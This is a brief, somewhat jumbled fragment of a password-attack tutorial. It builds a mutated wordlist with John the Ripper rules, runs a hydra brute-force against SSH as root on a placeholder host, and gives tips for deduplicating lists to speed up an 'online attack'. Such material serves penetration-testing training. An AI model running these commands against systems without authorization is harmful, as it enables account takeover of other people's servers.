# Generate dynamic passlist using keywords + mutations echo "admin" > base.txt john --wordlist=base.txt --rules=best64 --stdout > passlist_full.txt hydra -l root -P passlist_full.txt ssh://target.com
# Unique entries without changing order (requires 'awk') awk '!x[$0]++' combined_list.txt > optimized_passlist.txt Use code with caution. Password Mutation with Rules
Before feeding any text file into Hydra, it must be cleaned. Duplicate entries or passwords that violate the target's known password policy will drastically slow down your online attack. Step 1: Remove Duplicates